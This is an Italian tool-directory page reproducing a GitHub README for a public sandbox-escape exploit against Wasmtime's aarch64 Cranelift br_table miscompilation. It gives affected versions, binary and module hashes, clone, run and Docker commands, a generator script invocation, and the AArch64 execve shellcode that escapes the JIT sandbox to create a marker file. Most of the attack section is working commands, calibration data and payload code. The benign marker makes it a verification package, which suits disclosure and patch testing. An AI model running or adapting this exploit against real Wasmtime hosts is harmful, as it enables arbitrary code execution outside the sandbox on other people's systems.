Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-115893-wasmtime-sandbox-escape — CVE-2026-115893: exploit pubblico completo di sandbox-escape per Wasmtime aarch64 Cranelift br_table, PoV, note di calibrazione e prove di verifica. | Kitploit
Strumenti/GitHubGitHub/shreyas-malhotra/cve-2026-115893-wasmtime-sandbox-escape
Analisi delle VulnerabilitàExploitShellcodePaper e RicercaSviluppo PayloadBinary Exploitation
GitHubshreyas-malhotra/cve-2026-115893-wasmtime-sandbox-escape

CVE-2026-115893-wasmtime-sandbox-escape

CVE-2026-115893: exploit pubblico completo di sandbox-escape per Wasmtime aarch64 Cranelift br_table, PoV, note di calibrazione e prove di verifica.

Vedi Repository
124 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    597
  • 3

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    396
  • 4

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    319
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Il sistema d'azione per la cybersecurity nativa AI—dove l'intento diventa esecuzione governata, le evidenze diventano memoria operativa, e ogni operazione migliora la successiva.

    274
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    Motore OSINT basato sull'IA per scoprire e mappare oltre 7.700 identità sui social media in tutto il web

    260

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-115893: Sandbox Escape di Wasmtime su aarch64

Un exploit funzionante di completa sandbox escape, proof of vulnerability e pacchetto di verifica per CVE-2026-115893 — la miscompilazione br_table di Cranelift su aarch64 in Wasmtime.

Panoramica

CVE-2026-115893 è un bug di control-flow del compilatore nel backend Cranelift aarch64 di Wasmtime. Un br_table Wasm con un numero sufficiente di target produce un JTSequence il cui branch B.cond di default ha uno spostamento (displacement) al di fuori dell'intervallo di codifica del branch condizionale. L'offset va in wrap-around, quindi un modulo Wasm valido può saltare a un offset influenzato dall'utente all'interno del codice JIT.

Questo repository dimostra una fuga completa:

  • il branch miscompilato atterra in un literal pool JIT eseguibile che il modulo ha influenzato in fase di compilazione;
  • il pool esegue un payload AArch64;
  • il payload esegue una syscall host, sostituisce il processo Wasmtime con /usr/bin/touch e crea /tmp/wt-pwn al di fuori del guest.

Il modulo non ha import e non utilizza WASI. Si tratta di esecuzione di codice host con i privilegi del processo Wasmtime, non automaticamente root.

Questa non è CVE-2026-115889. Quello è un bug separato di index-overflow di Cranelift il cui impatto riprodotto è un panic/DoS del compilatore.

Versioni interessate

Intervallo di versioniCVE-2026-115889CVE-2026-115893 (aarch64)
<36.0.19VulnerabileVulnerabile
36.0.19CorrettoCorretto
37.0.0–42.xVulnerabileVulnerabile
43.0.0–48.0.6CorrettoVulnerabile su aarch64
48.0.7CorrettoCorretto
49.0.0–49.0.3CorrettoVulnerabile fino alla 49.0.4
49.0.4+CorrettoCorretto

Per questa CVE, utilizzare una release corretta dedicata: 49.0.4, 48.0.7 o 36.0.19.

Risultato verificato

AmbienteWasmtimeRisultato
macOS 26.7.1 arm64, nativo49.0.3PASS 5/5: rc=0, marker creato
Container Linux arm6449.0.3PASS 3/3: rc=0, marker creato
macOS arm6449.0.4REJECT 3/3: rc=1, nessun marker
Container Linux arm6449.0.4REJECT 3/3: rc=1, nessun marker
macOS arm6449.0.3Controllo con 65.520 target: nessun marker
macOS arm6449.0.4Controllo con 65.520 target: nessun marker

L'exploit è deterministico sulla build testata. Non è indipendente dalla versione; build diverse di Wasmtime potrebbero richiedere una nuova taratura.

Screenshot

PoV Linux arm64: Wasmtime 49.0.3 esce con 0 e crea /tmp/wt-pwn

Figura 1. Container Linux arm64, Wasmtime 49.0.3. Il processo esce con 0 dopo che il payload crea /tmp/wt-pwn al di fuori del guest.

Wasmtime 49.0.4 rifiuta un br_table generico di dimensioni eccessive

Figura 2. Wasmtime 49.0.4 rifiuta un br_table generico con 100.000 target al limite implementativo di 65.520 target. Questo modulo generico non è il modulo exploit; illustra il confine corretto.

Requisiti

  • host/container aarch64 macOS o Linux;
  • Wasmtime 49.0.3 per l'esecuzione vulnerabile;
  • Wasmtime 49.0.4 per il controllo corretto;
  • objdump per l'ispezione dei branch target;
  • Python 3 per i generatori;
  • Docker solo se si utilizza l'esempio con container Linux.

Binari di release e SHA-256:

macOS 49.0.3  fec6a4ca5e4310210b2feaea32179cfb51a40ab20eef48ec2345a61a3856002d
macOS 49.0.4  f5a9a33d7df600927ec2b4544cb6270cfcfbe5a7acaeb90952be39cd2584dda4
Linux 49.0.3  ffb2b17b12f6b43e6de3aab08f02269ca7cb481663e0cb189e256e9198bac770
Linux 49.0.4  7ff3862b2dee59318218c2dafd87650faf7840db2c21889b62535e9d0e7273ba

Nomi dei tarball:

wasmtime-v49.0.3-aarch64-macos.tar.xz
wasmtime-v49.0.4-aarch64-macos.tar.xz
wasmtime-v49.0.3-aarch64-linux.tar.xz
wasmtime-v49.0.4-aarch64-linux.tar.xz

Hash dei moduli:

macOS  lab/jit-escape.wat        7cfe90b1fede88966df0330389967f27ff4e2a644e27ebac66e913fa299fc556
Linux  lab/jit-escape-linux.wat  299e585a3e96f311331e729f0786d5e2b7eb5f017bd0870180cc5365e0e88d25

Avvio rapido: macOS

git clone https://github.com/shreyas-malhotra/cve-2026-115893-wasmtime-sandbox-escape.git
cd cve-2026-115893-wasmtime-sandbox-escape

export WASMTIME_VULN=/path/to/wasmtime-v49.0.3-aarch64-macos/wasmtime
export WASMTIME_FIXED=/path/to/wasmtime-v49.0.4-aarch64-macos/wasmtime

./scripts/verify-macos.sh

Esecuzione manuale:

"$WASMTIME_VULN" --version
rm -f /tmp/wt-pwn
"$WASMTIME_VULN" run --invoke pwn lab/jit-escape.wat
echo "rc=$?"
ls -l /tmp/wt-pwn

Expected:

rc=0
-rw-r--r-- ... /tmp/wt-pwn

Non viene prodotto alcun stdout o stderr; execve sostituisce il processo Wasmtime. Il payload crea solo /tmp/wt-pwn.

Avvio rapido: Linux arm64

git clone https://github.com/shreyas-malhotra/cve-2026-115893-wasmtime-sandbox-escape.git
cd cve-2026-115893-wasmtime-sandbox-escape

export WASMTIME_VULN=/path/to/wasmtime-v49.0.3-aarch64-linux/wasmtime
export WASMTIME_FIXED=/path/to/wasmtime-v49.0.4-aarch64-linux/wasmtime

./scripts/verify-linux.sh

Esempio di container:

cp -R "$PWD" /tmp/cve-2026-115893-wasmtime-sandbox-escape

docker run --rm --platform linux/arm64 --entrypoint sh \
  -v /tmp/cve-2026-115893-wasmtime-sandbox-escape:/work:ro \
  -v /path/to/wasmtime-v49.0.3-aarch64-linux:/wasmtime:ro \
  debian:bookworm-slim -lc '
    rm -f /tmp/wt-pwn
    /wasmtime/wasmtime run --invoke pwn /work/lab/jit-escape-linux.wat
    echo "rc=$?"
    ls -l /tmp/wt-pwn
  '

Controllo della versione corretta

rm -f /tmp/wt-pwn
"$WASMTIME_FIXED" run --invoke pwn lab/jit-escape.wat
echo "rc=$?"
test -e /tmp/wt-pwn; echo "marker_exists=$?"

Expected:

rc=1
Unsupported feature: `br_table` has 524255 targets, which exceeds the
implementation limit of 65520
marker_exists=1

L'esecuzione fissa su Linux rifiuta 524.252 target.

Controlli negativi

Stesso payload con 65.520 target:

python3 poc/gen_jit_escape.py 65520 > /tmp/small.wat
rm -f /tmp/wt-pwn
"$WASMTIME_VULN" run --invoke pwn /tmp/small.wat
echo "rc=$?"
test -e /tmp/wt-pwn; echo "marker_exists=$?"

Previsto: rc=0, nessun marker. Le costanti v128 e lo shellcode da soli non creano il file; è necessaria la tabella sovradimensionata.

Modificare il conteggio target rispetto al pool (n=524254) fa sì che il branch atterri su 0x4c, vada in crash e non crei alcun marker.

Come funziona l'exploit

Layout del modulo

(module
  (memory 16)
  (func $sc (param i32) (v128.store ...))      ; payload pool
  (func $f  (param i32) (br_table ...))        ; oversized switch
  (func (export "pwn") (call $f (i32.const N)))
)

sc non viene mai chiamato. Le sue costanti v128 vengono compilate in un pool di letterali eseguibile .text. I byte sono shellcode AArch64.

Il branch errato

Per la build macOS testata con n=524255:

  • f inizia vicino a 0xa0;
  • il branch di confronto/default JTSequence si trova in b4/b8;
  • il target b.hs compilato in modo errato è 0x50, il primo byte del pool;
  • pwn chiama f con il selettore che prende il branch di default.

Il pool viene eseguito:

adr  x0, path
adr  x3, arg
adr  x4, arg
sub  sp, sp, #0x40
stp  x0, x3, [sp]
stp  xzr, xzr, [sp, #0x10]
mov  x1, sp
mov  x2, xzr
mov  x16, #59        ; macOS execve
svc  #0x80
brk  #0x43

La variante Linux usa svc #0 e il numero di syscall Linux execve. Il suo conteggio target è 524.252 perché il prologo non-PAC colloca il pool in 0x40.

Perché il marker è importante

Scarica lo strumento